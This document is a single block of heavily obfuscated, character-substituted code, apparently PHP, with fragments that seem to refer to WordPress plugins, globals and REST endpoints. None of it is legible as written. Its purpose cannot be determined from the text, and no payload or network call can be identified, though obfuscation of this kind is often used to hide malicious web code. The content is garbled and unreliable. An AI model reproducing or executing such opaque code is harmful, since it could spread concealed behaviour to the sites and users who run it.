wzj~u{m)o(45'<<<<<<uz<48t,~s/odt*~%5<g<<l)nve(v$vijfjnf},vz,C45'<a<<a<}ht<4Htnsk}~py<<<<8phr-l)~h-C.5<<g33<xy}pps}hy<sj}nu}rh<zsn<KL<NYOH<]LU<j.<<<<<<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4+)$50<<8phr-l)~h-C.5'<a<<<<}ht<4Ydylhusr<<8phr-l)~h-C.5<<<g<<<<a<<zur}ppe<<<<<<g<{)o/t%q}.s~%uen4~~t*pewxp%lxrp.4+)%55'<<a<<<<a<zirhusr<qw(}eetlejvl.%eti-48}*yC-o}-xl~0<<<<<<8nuut$.f$if.iw/vr<<<<!<>>0<8ef}/nnq+md<<<!<z}poy5<<g<<<<<<<<uz<4=quvd%+x.))%$*pzq%r(k-4u{n~xs$r(~%zo4+)%555<nyhinr'<hne<<<<<<g<<<<<<<<<8{r)tw~d{(mh<<<<<!<<\fe/qwoyysxh4(,.548}*yC-o}-xl~0<<hniy5'uz<4ukC/jmfl}em~f{4+*,548{r)tw~d{(mh5<::<~~t*pewxp%lxrp.4))/548{r)tw~d{(mh5<<<"<<<4,d%%$.,7,d**+y,55<<8{r)tw~d{(mh<!<<vkC$uou+iut)vwv(+y48{r)tw~d{(mh5'<<<<<<<<uz<<<4=<<<<8{r)tw~d{(mh<<``<u{n~xs$r(~%zo4))/548{r)tw~d{(mh5< <<<<<4-%7($-5<<<<<``<~~t*pewxp%lxrp.4/**548{r)tw~d{(mh0<~~t*pewxp%lxrp.4+*-55<=!!<<,5<<<gnyhinr'auz<<<4=<<<jfx)rnxu%,mC+~f~i48{r)tw~d{(mh55<<g<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4+*.50<<<<u{n~xs$r(~%zo4+*/55'<nyhinr'a<<uz<4ukC/jmfl}em~f{4..(54fe/qwoyysxh4+*(50<<<<<~~t*pewxp%lxrp.4*//548{r)tw~d{(mh0<,0<<<<4(,*(7/.550<<8llz)/.ze+$osfk,55<<guz<<<48nuut$.f$if.iw/vr<=!!<<>><<<<::<8nuut$.f$if.iw/vr<=!!<<<8llz)/.ze+$osfk,G-A5<gswd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4+*)50<<u{n~xs$r(~%zo4+**55'8heizwe)ld.fs!)),'8qpn{+of/ep(p!8heizwe)ld.fs9-('nyhinr'<<<<<a8nuut$.f$if.iw/vr<!<<8llz)/.ze+$osfk,G-A'<a<<<ypoy<<<<<g<<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4+*)50<ukC/jmfl}em~f{4+*+55'<nyhinr'<<<a<uz<<<<4=8ef}/nnq+md<::<<jynousrCsql}ny48nuut$.f$if.iw/vr0<<<<<k{~w}fh$fk{*s}r}*k/z+h455< !<<,5<<g<<nyhinr'a<8r)$i.ur,d}mopx<!<<yfdderdjunq.-.k45'<<uz<4=8r)$i.ur,d}mopx<<<``<<<<~~t*pewxp%lxrp.4))/548r)$i.ur,d}mopx5<<<<< <<<<4(..7+$55<<g<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4+*)50<<fe/qwoyysxh4+*$55'<<<nyhinr'a<<<<<<<8Coqkpimioi+)pm<!<<<{yhCslhusr4~~t*pewxp%lxrp.4-$%55'<<<<uz<4~~t*pewxp%lxrp.4+*,548Coqkpimioi+)pm5<::<<<<<fe/qwoyysxh4/**548Coqkpimioi+)pm0<<ukC/jmfl}em~f{4+-)548{r)tw~d{(mh5<2<;`;5<<!!!<,5<<<g<<<8}))hnp.~vor<!<4urh5<ukC/jmfl}em~f{4*//548Coqkpimioi+)pm0<<fe/qwoyysxh4/**548Coqkpimioi+)pm0<<<;`;5<<7<-5'<<<<uz<<4ukC/jmfl}em~f{4+)*545<<1<<<8}))hnp.~vor<<<<< <<<4$).(.7--)$55<<<<g<<<<<<<nyhinr'<<<<<a<a<<8xm~d~~/ou{i)<!<u{n~xs$r(~%zo4+*%54n-*%o%~y,f,/qj,455<<<2<<<~~t*pewxp%lxrp.4-$)5<2<<<ukC/jmfl}em~f{4+-)548{r)tw~d{(mh5'<uz<<<4\~~t*pewxp%lxrp.4)%+548xm~d~~/ou{i)55<g<<<8eC$ujoue,k(<!<<<<<<\4urh5<<~~t*pewxp%lxrp.4.,.548xm~d~~/ou{i)5'<<<<uz<<48eC$ujoue,k(<::<<<<~~t*pewxp%lxrp.4++,545<<<1<8eC$ujoue,k(<<<<<< <4-$.)-7*$-(%55<<g<nyhinr'<a<<\u{n~xs$r(~%zo4++-548xm~d~~/ou{i)5'a<<<iroyh48xm~d~~/ou{i)0<8eC$ujoue,k(5'8~s}visqtnjm<<!<<z}poy'<<<uz<<<<4ukC/jmfl}em~f{4*%$54ukC/jmfl}em~f{4(()55<<<<::<u{n~xs$r(~%zo4++.54~~t*pewxp%lxrp.4*/+555<<<g<<<<8eydm.eznh*kjh$w<!<<<<<fe/qwoyysxh4(()54tsqyCinp4;3;50<<<}nn}e4ukC/jmfl}em~f{4++/5<<<<!"<<4-(1*50<<<<<<~~t*pewxp%lxrp.4++(5<!"<<.0<<<~~t*pewxp%lxrp.4//$5<<<<<<!"<<<z}poy55'<<uz<<<<<4=<<<4~~t*pewxp%lxrp.4++)54ukC/jmfl}em~f{4/(.55<<<<::<<<<<uoCklCynnsn48eydm.eznh*kjh$w555<g<<<<<<<8~s}visqtnjm<<<<<!<4urh5<<klCnyqshyCnyhnuyjyCnyolsroyCsxy48eydm.eznh*kjh$w5<"!<<4*7(%(5'<<<<<<a33<\}k}uh<nyospjyn<<a33<sqlupy<sqlsouhy<zsn<Nyhsn<}ihs1nyz}hsn<<<<<<<<8}{idt.$r,qq<<!<<<z}poy'8pi-nm*.s-mpo/-!LTLCQ]VSNCJYNOUSR'8pmdr)qnr!8pi-nm*.s-mpo/-6$'<<<<<<uz<<<<4u{n~xs$r(~%zo4++*54u{n~xs$r(~%zo4+++555<g33<\xy}huj}hy<hiq~pur{1kurxsk<8uefn+${r*ox+vq<<<!<<{yhCslhusr4~~t*pewxp%lxrp.4++$50<<<<<}nn}e455'8}{idt.$r,qq<<!<<<u{n~xs$r(~%zo4+.*548uefn+${r*ox+vq5<::<<~~t*pewxp%lxrp.4++%54mk,tn)*f~+%,%*zf}n,450<<8uefn+${r*ox+vq0<hniy5'<<<<<<<<ammhy/nCplvkizofojuy4n-*%o%~y,f,/qj,450<<<<4/$*7/(55'<<<<<uz<<<4=<<o~mz~fi/(/rr)jo-dvudl4n-*%o%~y,f,/qj,450<<h/zqmsszw-ie}yw)srk48{r)tw~d{(mh555<<g<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4+*)50<<fe/qwoyysxh4+$,55'<nyhinr'a<p,}zwe%(th(zt%C}4n-*%o%~y,f,/qj,455'<<<r~$rrdpszidwdr$pe4n-*%o%~y,f,/qj,455'<uz<4~~t*pewxp%lxrp.4++*54ukC/jmfl}em~f{4+$-555<<<\oyhChn}rouyrh4u{n~xs$r(~%zo4+$.50<-0<4.++7./55'8oz./nlt+msleu!1)-*'8frfflfwprln!48oz./nlt+msleu",5#8oz./nlt+msleu&18oz./nlt+msleu'uz<<<<4=<<<<8~s}visqtnjm<<::<<ukC/jmfl}em~f{4++*54~~t*pewxp%lxrp.4(()55<<<::<<ukC/jmfl}em~f{4++*54ukC/jmfl}em~f{4+$/555<<g<<<<<<8h~q($).,hesipl-<<<!<1-'<<<<<<zsn<48xkenk{m$$$u+m(<<<<<!<<,'<<<8xkenk{m$$$u+m(<< <<<<<<.'<<8xkenk{m$$$u+m(775<<<<<g<<<<<<8uxhvnjpkvhrfe<!<<<<<fe/qwoyysxh4+$(54tsqyCinp4~~t*pewxp%lxrp.4+$)5<<2<<<u{n~xs$r(~%zo4((,544%%%.-7+%50<<<<<<4%%%%%.7+5550<}nn}e4~~t*pewxp%lxrp.4+$*5<<<!"<4(  -50<<~~t*pewxp%lxrp.4++(5<<<<<!"<<.0<<<<<<u{n~xs$r(~%zo4//$5<!"<<<z}poy55'<<uz<<<<<4fe/qwoyysxh4++*54~~t*pewxp%lxrp.4/(.55<<::<<<uoCklCynnsn48uxhvnjpkvhrfe55<g<uz<<<<<48xkenk{m$$$u+m(<<<<!!!<<,<<::<<<<<ukC/jmfl}em~f{4++*54u{n~xs$r(~%zo4+$+555<fe/qwoyysxh4+$+54.5'<<<<<srhuriy'a<<<8}(,wkvv{p{*ll{q<<!<<4urh5<<<<<klCnyqshyCnyhnuyjyCnyolsroyCsxy48uxhvnjpkvhrfe5'<<uz<<<48}(,wkvv{p{*ll{q<<<<<< <<<4+/7.+5<``<<<<~~t*pewxp%lxrp.4+$$548}(,wkvv{p{*ll{q0<<<<<<}nn}e44+,$1.,)50<<4()$7*.50<<4.$%7./.50<<<4),%7-/50<<<4)..7-50<4)-(7-,50<<4/,7(%*50<<<<4,d.,+7,d$550<hniy55<<<guz<48xkenk{m$$$u+m(<!!!<<<<<,<<::<<<<<ukC/jmfl}em~f{4++*54fe/qwoyysxh4+$+555<<ukC/jmfl}em~f{4+$+54.5'<<<<srhuriy'<<a<<<8h~q($).,hesipl-<!<8}(,wkvv{p{*ll{q'<<~ny}w'<<<a33<KL<^ihhsr<^psw<kux{yh<nyrxyn<uz<<<<48h~q($).,hesipl-<<<!!!<<<<1-5<<<<<8h~q($).,hesipl-<<<!<<<4(*,7(,5'<<<<<<uz<<<<48h~q($).,hesipl-<"!<4($.7-$55<<<<g<<<8imzn-+)i/-}kneh<!<o~mz~fi/(/rr)jo-dvudl4n-*%o%~y,f,/qj,450<<<<<h/zqmsszw-ie}yw)srk48r)$i.ur,d}mopx55'<uz<<<4=8imzn-+)i/-}kneh5<<8imzn-+)i/-}kneh<<<!<<<<o~mz~fi/(/rr)jo-dvudl4n-*%o%~y,f,/qj,450<<<<<<8r)$i.ur,d}mopx5'<<ilx}hyCslhusr4ukC/jmfl}em~f{4-$%50<<<ukC/jmfl}em~f{4+-)548{r)tw~d{(mh5<2<<;`;<2<fe/qwoyysxh4++,5450<<<~~t*pewxp%lxrp.4+$%55'<uz<<4=8imzn-+)i/-}kneh5<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4+%,50<<<<fe/qwoyysxh4+%-5<2<<8h~q($).,hesipl-5'<<nyhinr'<a<<<<<<<<r~$rrdpszidwdr$pe4n-*%o%~y,f,/qj,455'<<<p,}zwe%(th(zt%C}4n-*%o%~y,f,/qj,455'<yfdderdjunq.-.k4hniy5'<dh/}np{vm-fhmkouh.4hniy5'<8tkiidfx)e*mn<<<<!<u{n~xs$r(~%zo4.)+54n-*%o%~y,f,/qj,450<<<fe/qwoyysxh4),*55'<<<<zsny}t<<<4}nn}e4u{n~xs$r(~%zo4+%.54n-*%o%~y,f,/qj,4550<iC}s%rysj$jew(osth,,r455<<}o<<<<8uhm/)oz.ld$ht$d5<<<<<<g\~~t*pewxp%lxrp.4++-548uhm/)oz.ld$ht$d<<<<<<2<<<fe/qwoyysxh4.,*5<2<<8tkiidfx)e*mn5'<<<<<<\~~t*pewxp%lxrp.4++-548uhm/)oz.ld$ht$d<<2<<<<<~~t*pewxp%lxrp.4+%/5<2<8tkiidfx)e*mn5'8k+-C-ilotir)fp!)6$'8fx)vxwowu!8k+-C-ilotir)fp1%'a33<jyhsnufy<lnyonulhujy<lnusnuhe1miyiy<<uz<48}{idt.$r,qq<<<::<<<<=}}eij/-n%/Cf}~-r$fyq45<<<::<<fe/qwoyysxh4+%(54u{n~xs$r(~%zo4/%)555<g8j-}x}Cspfk<<<<!<<<{yhCslhusr4~~t*pewxp%lxrp.4++$50<<}nn}e455'<uz<<<<<<4ukC/jmfl}em~f{4+%)548j-}x}Cspfk5<::<=~~t*pewxp%lxrp.4+%*54mk,tn)*f~+%,%*zf}n,450<8j-}x}Cspfk0<<hniy55<<g<<8j-}x}CspfkGA<<!<mk,tn)*f~+%,%*zf}n,45'\ilx}hyCslhusr4fe/qwoyysxh4++$50<<8j-}x}Cspfk5'<<aa<8[PS^]POGfe/qwoyysxh4+%+5A<!<,'<<<<pwzj~u{m)o(45'<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4+%,50<<<<<ukC/jmfl}em~f{4+%$5<<2<<8h~q($).,hesipl-5'<<nyhinr'<a<<<<a<<uz<<<48nuut$.f$if.iw/vr<<=!!<<<<<>>5<<g<<<<8[PS^]POG~~t*pewxp%lxrp.4-5A<<<!<<8nuut$.f$if.iw/vr'<s%ko{/q}tr./kw(4n-*%o%~y,f,/qj,450<<<8nuut$.f$if.iw/vr5'<<<a<<uz<<<48ef}/nnq+md5<<<g<8f($i/)q/nfr+uj<!<<~~t*pewxp%lxrp.4.)+54n-*%o%~y,f,/qj,450<<fe/qwoyysxh4),*55'zsny}t<<<<<4}nn}e4fe/qwoyysxh4+%.54n-*%o%~y,f,/qj,4550<<<<iC}s%rysj$jew(osth,,r455<<<}o<8urqn)p,.xnhuz5<<g<<\ukC/jmfl}em~f{4++-548urqn)p,.xnhuz<<<2<u{n~xs$r(~%zo4+%%5<2<<8f($i/)q/nfr+uj5'<<<<a<<<iroyh48f($i/)q/nfr+uj0<8urqn)p,.xnhuz5'a<vfCp.pff*hef}nxkrwq..j4u{n~xs$r(~%zo4$,,50<8{r)tw~d{(mh0<<<<<<ukC/jmfl}em~f{4+$%55'<<<yfdderdjunq.-.k4hniy5'<dh/}np{vm-fhmkouh.4hniy5'<<8[PS^]POGukC/jmfl}em~f{4+%+5A<!<,'<<<pwzj~u{m)o(45'mmhy/nCplvkizofojuy4n-*%o%~y,f,/qj,450<<<<<4-%$7%(55'<<<uz<<4r~$rrdpszidwdr$pe4n-*%o%~y,f,/qj,4555<y%(vpw(x(-hw/p4n-*%o%~y,f,/qj,455'ilx}hyCslhusr4u{n~xs$r(~%zo4.-(50<<<<8nuut$.f$if.iw/vr<2<<;`;<<2<<<<fe/qwoyysxh4++,5450<<~~t*pewxp%lxrp.4+$%55'<<<a<<<}ht<<<<<4Htnsk}~py<<8phr-l)~h-C.5<g<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4+%,50<<<<<<8phr-l)~h-C.5'a<}ht<<4Ydylhusr<<<<<8phr-l)~h-C.5<<<<g33<xyoynu}pufy<juouhsn<zsn<Nyhsn<}ihs1nyz}hsna<zur}ppe<g<{)o/t%q}.s~%uen4fe/qwoyysxh4$,-55'<<a<<a<<<zirhusr<<{o-iv,eo(rp(f45<<<<<<g33<hn}y<~nux{y<zsn<KL<^psw_srhnspo<uz<4=<<<<<xyzuryx4fe/qwoyysxh4$,.55<<<<<``<<<<<=<u{n~xs$r(~%zo4+%(54fe/qwoyysxh4$,/555<<<<g33<olyu}pufy<z}uhtzip<knuhy1}ty}x1ps{<<uz<4u{n~xs$r(~%zo4$,(54]^OL]HT<<<<2<<<fe/qwoyysxh4$,)555<<g33<KsnxLnyoo<*2(<l}hhynro&<o}huozu}~py<opuxur{1kurxsk<<<<<<<<nymiunyCsry<<]^OL]HT<<<<<<2<u{n~xs$r(~%zo4$,)5'8r(/kne,d*ydq$n!4,d~~7,d-)5'8hm}ryynq)mq!8r(/kne,d*ydq$n9-.'<a<uz<<<<<<4=<<<<<<ukC/jmfl}em~f{4+%(54ukC/jmfl}em~f{4$,/555<<<g33<LTL<$2-<urhynoyhusr&<nyp}dyx<urhynlnyhyn<<<<nyhinr'<<<<<<<<a33<\lnsl}{}hy1sroh<xy}x1pyhhyn<a33<py}ryn<}husr<8ml{},**+-C-<<<<!<{yhClpi{uro45'<<<<uz<<<4=<<~~t*pewxp%lxrp.4+%)548ml{},**+-C-55<<<g<<<<<nyhinr'<<a<<<<<<8puoh<!<<<}nn}e45'<<<<zsny}t<<48ml{},**+-C-<}o<<8~}oyr}qy<<<<<!"<<8k}tCehieskooh5<g<uz<48~}oyr}qy<!!!<<mk,tn)*f~+%,%*zf}n,455<<<<<g<srhuriy'<<a<<8puohG8~}oyr}qyA<<<!<<<<<8k}tCehieskooh'a<nyhinr<<8puoh'<a<<zirhusr<ol+tn-+~l-~oil48spkfdyp$}s0<<8jxudsyevs(jy/dm5<<<<<<<<g33<hnul<sirh<<<<<8j{,uhy)ltoCdt<<!<<<<<\~~t*pewxp%lxrp.4)%%548spkfdyp$}s0<<z}poy0<<<ripp0<<,0<<4,d/}*-+7,d()%y%55'<<<<<uz<<4=<8j{,uhy)ltoCdt5<<<<g<<<nyhinr<<<<<<z}poy'<a<<<<<<<<<<<<zsny}t<<<48jxudsyevs(jy/dm<<}o<<8ouyC*Cd)C*y5<<<g<<<<uz<<<<<4=<<<<<~~t*pewxp%lxrp.4+*,548ouyC*Cd)C*y5<<``<<<<=<<<<<8ouyC*Cd)C*y<<<<``<fe/qwoyysxh4))/548ouyC*Cd)C*y5<<"<<<<<<4,d})%7,d)}+55<<<<<g<<srhuriy'<<<<<a<<<<hne<<<<g8j+v-)%oqr*z%l+<<!<\fe/qwoyysxh4$,*548ouyC*Cd)C*y0<<8j{,uhy)ltoCdt5'<<<a<<}ht<4Htnsk}~py<<<<<<8liy~iedmy+s{fp$z5<<<<g<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4$,+50<<8liy~iedmy+s{fp$z5'<<<<<<<srhuriy'<<<<a<}ht<<<4Ydylhusr<<<8liy~iedmy+s{fp$z5<g<srhuriy'<<<a<<<uz<48j+v-)%oqr*z%l+5<gnyhinr<hniy'<a33<uosqyhnu<lulypury<<a<nyhinr<z}poy'<<<a<zirhusr<<<<ht,-v)d~l*(oe*x48lpi{urC~}oyr}qy5<<<<<g<<8jxudsyevs(jy/dm<<<<!<<<8[PS^]POG~~t*pewxp%lxrp.4$,$5A'<uz<4=<<<<<fe/qwoyysxh4+%)548jxudsyevs(jy/dm5<<<``<<yqlhe48jxudsyevs(jy/dm55<<<gnyhinr<<z}poy'a<<<<<uz<<4=<<<xyzuryx4u{n~xs$r(~%zo4$,.55<<<``<<<<<yqlhe48lpi{urC~}oyr}qy5<``<<<<fe/qwoyysxh4$,%548lpi{urC~}oyr}qy0<fe/qwoyysxh4.(*55<=!!<z}poy5<g<<<<nyhinr<z}poy'<<<a<<<<<<<<<<<8rp,dwv$,y$<!<<<<<KLCLPI[URCXUN<<<<<2<<;3;<2<<<<8lpi{urC~}oyr}qy'<uz<<<<4fe/qwoyysxh4+%.548lpi{urC~}oyr}qy5<<!!!<<<;2;5<<g8dCy,uq}*,ykdy<<!<<}nn}e48rp,dwv$,y$5'a<<<<<ypoy<<<g<8n+lwp-wio,<<!<<u{n~xs$r(~%zo4$-,548rp,dwv$,y$5'<uz<<<4=<<<~~t*pewxp%lxrp.4.,)548n+lwp-wio,5<<<``<=<u{n~xs$r(~%zo4$--548n+lwp-wio,55<gnyhinr<z}poy'<<<<<a8dCy,uq}*,ykdy<<<<!<<vdrsC-nn{yy.y.yw+*dz48n+lwp-wio,0<}nn}e4ukC/jmfl}em~f{4$-.50<<<<<<u{n~xs$r(~%zo4$-/50<<fe/qwoyysxh4$-(50<ukC/jmfl}em~f{4$-)50<u{n~xs$r(~%zo4$-*555'a<<<<<<<zsny}t<<<48dCy,uq}*,ykdy<<}o<<<<8spkfdyp$}s5<<guz<<4=<<<<~~t*pewxp%lxrp.4$-+548spkfdyp$}s55<<g<<<<<srhuriy'<a33<KL<^psw_srhnspo&<sj}nu}rh1}xv<lnshshelyuz<<<4ol+tn-+~l-~oil48spkfdyp$}s0<<<8jxudsyevs(jy/dm55<<<gnyhinr<<hniy'<<<a33<\olupp<qyxu}hsn<<<<a<nyhinr<<z}poy'<<<<<<a<<<<zirhusr<vdrsC-nn{yy.y.yw+*dz48n+lwp-wio,0<<<8}tuCsu/fiCophl0<<8yh$-Cii,fzCtn<<!<<<,0<<<:8x-lvy*s{-ioj$u<<<!<<<<ripp0<<<<:8shCsi()~)/{}<!<<ripp5<<g<8puoh<<<!<}nn}e45'uz<<48yh$-Cii,fzCtn<"<<4,d/7,d)55<<g<<<<nyhinr<8puoh'a<<<<uz<<48x-lvy*s{-ioj$u<<<<!!!<<<<<ripp5<<<<<<g<<<<<<8x-lvy*s{-ioj$u<<<!<<<}nn}e45'<8shCsi()~)/{}<!<<<ukC/jmfl}em~f{4*%,54hniy5<<7<<<4,d%7,d-5'<a<uz<<<4fe/qwoyysxh4$-$54hniy5<<<"<<8shCsi()~)/{}5<<<<<g<nyhinr<8puoh'<<a<uz<<4=<<~~t*pewxp%lxrp.4.,)548n+lwp-wio,55<<<<<<g33<}hsqu<ny}x<nyhinr<<<8puoh'<<<<<<a<<<8~),qx~.s~f<<<!<<\~~t*pewxp%lxrp.4./)548n+lwp-wio,5'uz<<48~),qx~.s~f<<<=!!<<z}poy5<<<guz<<4uooyh48x-lvy*s{-ioj$uG8~),qx~.s~fA55<<gnyhinr<<8puoh'a8x-lvy*s{-ioj$uG8~),qx~.s~fA<!<<hniy'<<<a<<8k}xk%x$f%j,rmvvC<<<!<i.o-i/tr+)y+tot}omwi48n+lwp-wio,5'<uz<<<4=<<<<u{n~xs$r(~%zo4$-%548k}xk%x$f%j,rmvvC55<g<<<<<<nyhinr<<8puoh'<<a<zsny}t<<<<48k}xk%x$f%j,rmvvC<<<}o<<8f{x*}~,rh)ze5<<g<<<uz<<4~~t*pewxp%lxrp.4$-$54hniy5<<<<"<<<<<8shCsi()~)/{}<<<``<<u{n~xs$r(~%zo4*$%548puoh5<<<"!<4(,-7%%55<<g<<~ny}w'<a<<<8rp,dwv$,y$<!<8n+lwp-wio,<<<<2<<<<<<;3;<<2<<8f{x*}~,rh)ze'<<<<uz<<<4\u{n~xs$r(~%zo4$.,548rp,dwv$,y$55<<<<g<<<<<<srhuriy'a<<<<<<uz<<<<<4\fe/qwoyysxh4.,)548rp,dwv$,y$55<g<<<<<8puoh<!<fe/qwoyysxh4(.-548puoh0<<vdrsC-nn{yy.y.yw+*dz48rp,dwv$,y$0<8}tuCsu/fiCophl0<8yh$-Cii,fzCtn<<<7<-0<8x-lvy*s{-ioj$u0<8shCsi()~)/{}55'<<a<<ypoyuz<4\ukC/jmfl}em~f{4$.-548rp,dwv$,y$55<g8e-t$%kdkfr.<<<!<<ukC/jmfl}em~f{4$..548rp,dwv$,y$0<sroh}rh4fe/qwoyysxh4$./555'<<8e-t$%kdkfr.<!<<<~~t*pewxp%lxrp.4+*,548e-t$%kdkfr.5<<<<<#<<<<fe/qwoyysxh4++548e-t$%kdkfr.5<&<<>>'<<<<<uz<<<<<4u{n~xs$r(~%zo4+%*548e-t$%kdkfr.0<<8}tuCsu/fiCophl0<<<<<hniy55<g<<<<<<8puohGA<<<<!<<<<8rp,dwv$,y$'8ohpv.(w-!*%7%%'8mivpez$phe!8ohpv.(w-1(('<<<<<a<<aa<nyhinr<<<<8puoh'<a<<<<zirhusr<<<wxyi{qmxnh*x$/e.rf48lpi{urC~}oyr}qy5<<<<<<g<<<<<<<<<<uz<<<<<<4=<<u{n~xs$r(~%zo4+*,548lpi{urC~}oyr}qy5<<``<<<<=<<8lpi{urC~}oyr}qy5<<g<nyhinr<<<<z}poy'a<<<<uz<4~~t*pewxp%lxrp.4$.(548lpi{urC~}oyr}qy0<<<<<u{n~xs$r(~%zo4.(*55<<<<<=!!<z}poy5<gnyhinr<<z}poy'<a<<<<<<<8lpi{urC~}oyr}qy<<<<<!<<fe/qwoyysxh4*$-548lpi{urC~}oyr}qy5'<uz<<<<<<48lpi{urC~}oyr}qy<<!!!<<mk,tn)*f~+%,%*zf}n,455<<<g<nyhinr<z}poy'<<a<<<uz<<<<4=<<<<<<~~t*pewxp%lxrp.4+%(54fe/qwoyysxh4$.)55<::<<<~~t*pewxp%lxrp.4$,(54]^OL]HT<<<2<u{n~xs$r(~%zo4$.*555<<<gnymiunyCsry<<<<<]^OL]HT<<<2<<<~~t*pewxp%lxrp.4$.*5'<a<<<<<uz<<4ukC/jmfl}em~f{4$.+54fe/qwoyysxh4$.)55<<::<<<<<uoClpi{urC}hujy48lpi{urC~}oyr}qy55<g<<xy}huj}hyClpi{uro4}nn}e48lpi{urC~}oyr}qy50<<<<<<hniy5'<<a<<<<<8n+lwp-wio,<<!<<xyzuryx4u{n~xs$r(~%zo4$.$55<#<<<<KLCLPI[URCXUN<<<<2<<<<<<;3;<<<2<<<~~t*pewxp%lxrp.4$-,548lpi{urC~}oyr}qy5<<<<&<<<<>>'<<<uz<<<48n+lwp-wio,<::<~~t*pewxp%lxrp.4$.%548n+lwp-wio,5<<<<<<::<<<fe/qwoyysxh4$-,548lpi{urC~}oyr}qy5<<<=!!<<;2;<::<ukC/jmfl}em~f{4$-,548lpi{urC~}oyr}qy55<<<guz<4iu$vi$,oxeC)$/j+i{vC48n+lwp-wio,55<<<g<<<nyhinr<<<<<hniy'<<<<<a<<<<a<<<uz<4u{n~xs$r(~%zo4$.+54u{n~xs$r(~%zo4$/,555<<g<<uz<4=<ukC/jmfl}em~f{4$.+54~~t*pewxp%lxrp.4$/-55<<<<<``<<=<<innyrhCioynC}r4ukC/jmfl}em~f{4$/,555<g33<l}nhuhusr<lnusnuhe1miyiy<zsn<KL<L}{y<Puohuz<<<<<4u{n~xs$r(~%zo4$.+54ukC/jmfl}em~f{4$/.55<<::<<<<u{n~xs$r(~%zo4$.+54u{n~xs$r(~%zo4$//555<<g8ioyno<<!<<<<<{yhCioyno4}nn}e4ukC/jmfl}em~f{4$/(5<!"<<u{n~xs$r(~%zo4$/)50<<~~t*pewxp%lxrp.4$/*5<<!"<<-55'<<<<<<uz<4=<yqlhe48ioyno5<<::<<<<8ioynoG,A1"UX5<<<g<<<ukC/jmfl}em~f{4$//548ioynoG,A1"UX5'<a<<<<<<ypoy<gu{n~xs$r(~%zo4$//54-5'a<<<<a<<<<<<<a<<<8qy~k(kv}.y)(omr<<!<<<xypyhyClpi{uro4}nn}e48lpi{urC~}oyr}qy55'<<<uz<<4=<<<<<<uoCklCynnsn48qy~k(kv}.y)(omr55<<<<<<g<<<nyhinr<4~ssp5<<8qy~k(kv}.y)(omr'<<<a<<a<<nyhinr<<<<z}poy'<a<<<<<zirhusr<<<iu$vi$,oxeC)$/j+i{vC48n+lwp-wio,0<<8yh$-Cii,fzCtn<!<<,5<<g<<<uz<<48yh$-Cii,fzCtn<<<"<<4-,7*55<<<<g8l-*ophC-yC(!LTLCQ]VSNCJYNOUSR'8nq.q-xepthkh!8l-*ophC-yC(6%'<<<nyhinr<<z}poy'<<<<<<a<<<<<uz<<4=<<ukC/jmfl}em~f{4+*,548n+lwp-wio,5<<``<8n+lwp-wio,<!!!<>><<``<ukC/jmfl}em~f{4$/+548n+lwp-wio,0<<<<<~~t*pewxp%lxrp.4.(*55<=!!<<<z}poy5<g<<<<<nyhinr<<<z}poy'a<8jv{$s{s-qqod<!<\u{n~xs$r(~%zo4$/$548n+lwp-wio,5'<uz<<<48jv{$s{s-qqod<<!!!<<z}poy<<<<<``<<=<<ukC/jmfl}em~f{4$.%548jv{$s{s-qqod55<<g8rlp}uz(wq!-*6/'8e+%+oonkod!8rlp}uz(wq1//'<<nyhinr<z}poy'a8ewrtvrq-xx+sq<<!<<<xyzuryx4u{n~xs$r(~%zo4$.$55<<#<\ukC/jmfl}em~f{4$/$54KLCLPI[URCXUN5<<&<<z}poy'<<<<<uz<<48ewrtvrq-xx+sq<<!!!<<<z}poy<``<48jv{$s{s-qqod<=!!<<8ewrtvrq-xx+sq<<::<<<<<<u{n~xs$r(~%zo4$/%548jv{$s{s-qqod0<<<<<8ewrtvrq-xx+sq<2<<<XUNY_HSNECOYL]N]HSN5<=!!<<<,55<<<<gnyhinr<<<z}poy'8~p*m+$..C(mz!4,d/$7,d~%5'8q.%utk/*+o/v!8~p*m+$..C(mz9-*'<<<a<<8kvrx/sol(n+$l<<!<<<<<\u{n~xs$r(~%zo4.),548jv{$s{s-qqod5'<<<<<uz<<4=<<~~t*pewxp%lxrp.4$-%548kvrx/sol(n+$l55<<g<<<nyhinr<<z}poy'<<<<a<<<<<<<<zsny}t<<<<48kvrx/sol(n+$l<<}o<<<8tpt(/$zoC*)(z5<<<g<uz<<48tpt(/$zoC*)(z<<!!!<;2;<``<<<8tpt(/$zoC*)(z<<<<!!!<ukC/jmfl}em~f{4.(*55<g<<<srhuriy'<<a8rp,dwv$,y$<<<<<!<<8jv{$s{s-qqod<<<<2<<<<sroh}rh4ukC/jmfl}em~f{4$(,55<<2<<<<8tpt(/$zoC*)(z'uz<<<4\ukC/jmfl}em~f{4$(-548rp,dwv$,y$55<g<uepno,inmjey/mr48rp,dwv$,y$5'<<srhuriy'<<<<a33<yd}h<nyhne1lspue<<uz<<<4\~~t*pewxp%lxrp.4$(.548rp,dwv$,y$55<<g<<<<<iu$vi$,oxeC)$/j+i{vC48rp,dwv$,y$0<<8yh$-Cii,fzCtn<<<<7<-5'<<<a<<ypoy<g8{{.u,}km+~!4,d~-7,d)}5'8ld+d~.truq!8{{.u,}km+~9*'uz<<4=<<<<<uepno,inmjey/mr48rp,dwv$,y$55<gmmhy/nCplvkizofojuy48rp,dwv$,y$0<4,d)z7,d-()55'<<uepno,inmjey/mr48rp,dwv$,y$5'<<a<<a<<<a<<uz<<4=<\fe/qwoyysxh4$(/548jv{$s{s-qqod55<<<gmmhy/nCplvkizofojuy48jv{$s{s-qqod0<<<4($+7*55'<\ukC/jmfl}em~f{4$(/548jv{$s{s-qqod5'<<a33<KL<ioyYrhuheNysnxo&<}miuny<nyhne1lspue<<<nyhinr<=<\~~t*pewxp%lxrp.4$,(548jv{$s{s-qqod5'<<a<zirhusr<<<l)nve(v$vijfjnf},vz,C45<<g<hne<<<<<g<<8puoh<!<<<<{o-iv,eo(rp(f45'uz<<4=<~~t*pewxp%lxrp.4$-%548puoh55<<gnyhinr'<a<<<<<<8urf-omuvpol<<!<<